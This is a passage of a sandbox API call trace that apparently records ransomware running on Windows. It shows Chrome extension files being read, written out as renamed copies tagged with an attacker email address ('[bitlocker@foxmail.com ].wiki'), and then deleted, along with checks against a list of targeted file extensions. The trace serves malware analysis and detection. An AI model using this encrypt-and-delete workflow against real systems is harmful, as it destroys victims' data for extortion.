lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.667] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.668] GetLastError () returned 0x0 [0177.668] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xc4, lpOverlapped=0x0) returned 1 [0177.669] WriteFile (in: hFile=0x124, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0177.670] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.670] WriteFile (in: hFile=0x124, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.670] SetEndOfFile (hFile=0x124) returned 1 [0177.670] CloseHandle (hObject=0x124) returned 1 [0177.670] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.670] SetEndOfFile (hFile=0x334) returned 1 [0177.671] CloseHandle (hObject=0x334) returned 1 [0177.671] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.671] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json")) returned 1 [0177.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json") returned 151 [0177.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json") returned 151 [0177.671] lstrlenW (lpString=".doc") returned 4 [0177.671] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.671] lstrlenW (lpString=".docx") returned 5 [0177.671] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.671] lstrlenW (lpString=".pdf") returned 4 [0177.671] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.671] lstrlenW (lpString=".xls") returned 4 [0177.671] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.671] lstrlenW (lpString=".xlsx") returned 5 [0177.672] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.672] lstrlenW (lpString=".ppt") returned 4 [0177.672] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.672] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json") returned 151 [0177.672] lstrlenW (lpString=".zip") returned 4 [0177.672] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.672] lstrlenW (lpString=".rar") returned 4 [0177.672] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.672] lstrlenW (lpString=".bz2") returned 4 [0177.672] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.672] lstrlenW (lpString=".7z") returned 3 [0177.672] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.672] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json") returned 151 [0177.672] lstrlenW (lpString=".dbf") returned 4 [0177.672] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.672] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json") returned 151 [0177.672] lstrlenW (lpString=".1cd") returned 4 [0177.672] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.672] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json") returned 151 [0177.672] lstrlenW (lpString=".jpg") returned 4 [0177.672] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.672] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json") returned 151 [0177.672] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json") returned 151 [0177.672] lstrlenW (lpString=".doc") returned 4 [0177.672] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.672] lstrlenW (lpString=".docx") returned 5 [0177.672] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.672] lstrlenW (lpString=".pdf") returned 4 [0177.673] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.673] lstrlenW (lpString=".xls") returned 4 [0177.673] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.673] lstrlenW (lpString=".xlsx") returned 5 [0177.673] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.673] lstrlenW (lpString=".ppt") returned 4 [0177.673] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.673] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json") returned 151 [0177.673] lstrlenW (lpString=".zip") returned 4 [0177.673] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.673] lstrlenW (lpString=".rar") returned 4 [0177.673] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.673] lstrlenW (lpString=".bz2") returned 4 [0177.673] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.673] lstrlenW (lpString=".7z") returned 3 [0177.673] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.673] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json") returned 151 [0177.673] lstrlenW (lpString=".dbf") returned 4 [0177.673] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.673] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json") returned 151 [0177.673] lstrlenW (lpString=".1cd") returned 4 [0177.673] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.673] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json") returned 151 [0177.673] lstrlenW (lpString=".jpg") returned 4 [0177.673] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.674] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.674] lstrlenW (lpString="verified_contents.json") returned 22 [0177.674] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0178.122] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=17492) returned 1 [0178.123] CloseHandle (hObject=0x198) returned 1 [0178.124] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json")) returned 0x2020 [0178.124] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.124] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0178.125] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.125] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.125] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0178.270] GetLastError () returned 0x0 [0178.270] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x4454, lpOverlapped=0x0) returned 1 [0178.275] WriteFile (in: hFile=0x2dc, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x4460, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x4460, lpOverlapped=0x0) returned 1 [0178.742] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0178.742] WriteFile (in: hFile=0x2dc, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x100, lpOverlapped=0x0) returned 1 [0178.743] SetEndOfFile (hFile=0x2dc) returned 1 [0178.743] CloseHandle (hObject=0x2dc) returned 1 [0178.743] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.743] SetEndOfFile (hFile=0x198) returned 1 [0178.744] CloseHandle (hObject=0x198) returned 1 [0178.744] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.744] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json")) returned 1 [0178.744] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json") returned 158 [0178.744] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json") returned 158 [0178.744] lstrlenW (lpString=".doc") returned 4 [0178.744] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.744] lstrlenW (lpString=".docx") returned 5 [0178.744] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.744] lstrlenW (lpString=".pdf") returned 4 [0178.744] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.744] lstrlenW (lpString=".xls") returned 4 [0178.745] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.745] lstrlenW (lpString=".xlsx") returned 5 [0178.745] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.745] lstrlenW (lpString=".ppt") returned 4 [0178.745] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json") returned 158 [0178.745] lstrlenW (lpString=".zip") returned 4 [0178.745] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.745] lstrlenW (lpString=".rar") returned 4 [0178.745] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.745] lstrlenW (lpString=".bz2") returned 4 [0178.745] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.745] lstrlenW (lpString=".7z") returned 3 [0178.745] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json") returned 158 [0178.745] lstrlenW (lpString=".dbf") returned 4 [0178.745] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json") returned 158 [0178.745] lstrlenW (lpString=".1cd") returned 4 [0178.745] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json") returned 158 [0178.745] lstrlenW (lpString=".jpg") returned 4 [0178.745] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json") returned 158 [0178.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json") returned 158 [0178.745] lstrlenW (lpString=".doc") returned 4 [0178.745] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.745] lstrlenW (lpString=".docx") returned 5 [0178.745] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.745] lstrlenW (lpString=".pdf") returned 4 [0178.745] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.746] lstrlenW (lpString=".xls") returned 4 [0178.746] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.746] lstrlenW (lpString=".xlsx") returned 5 [0178.746] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.746] lstrlenW (lpString=".ppt") returned 4 [0178.746] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.746] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json") returned 158 [0178.746] lstrlenW (lpString=".zip") returned 4 [0178.746] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.746] lstrlenW (lpString=".rar") returned 4 [0178.746] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.746] lstrlenW (lpString=".bz2") returned 4 [0178.746] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.746] lstrlenW (lpString=".7z") returned 3 [0178.746] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.746] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json") returned 158 [0178.746] lstrlenW (lpString=".dbf") returned 4 [0178.746] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.746] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json") returned 158 [0178.746] lstrlenW (lpString=".1cd") returned 4 [0178.746] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.746] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json") returned 158 [0178.746] lstrlenW (lpString=".jpg") returned 4 [0178.746] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.746] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.746] lstrlenW (lpString="messages.json") returned 13 [0178.746] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0178.748] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=692) returned 1 [0178.749] CloseHandle (hObject=0x198) returned 1 [0178.749] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json")) returned 0x2020 [0178.749] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.749] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0178.749] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.749] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.749] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0178.749] GetLastError () returned 0x0 [0178.749] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x2b4, lpOverlapped=0x0) returned 1 [0178.751] WriteFile (in: hFile=0x2dc, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2c0, lpOverlapped=0x0) returned 1 [0178.752] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0178.752] WriteFile (in: hFile=0x2dc, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.752] SetEndOfFile (hFile=0x2dc) returned 1 [0178.753] CloseHandle (hObject=0x2dc) returned 1 [0178.753] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.753] SetEndOfFile (hFile=0x198) returned 1 [0178.753] CloseHandle (hObject=0x198) returned 1 [0178.753] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.754] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json")) returned 1 [0178.754] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json") returned 156 [0178.754] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json") returned 156 [0178.754] lstrlenW (lpString=".doc") returned 4 [0178.754] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.754] lstrlenW (lpString=".docx") returned 5 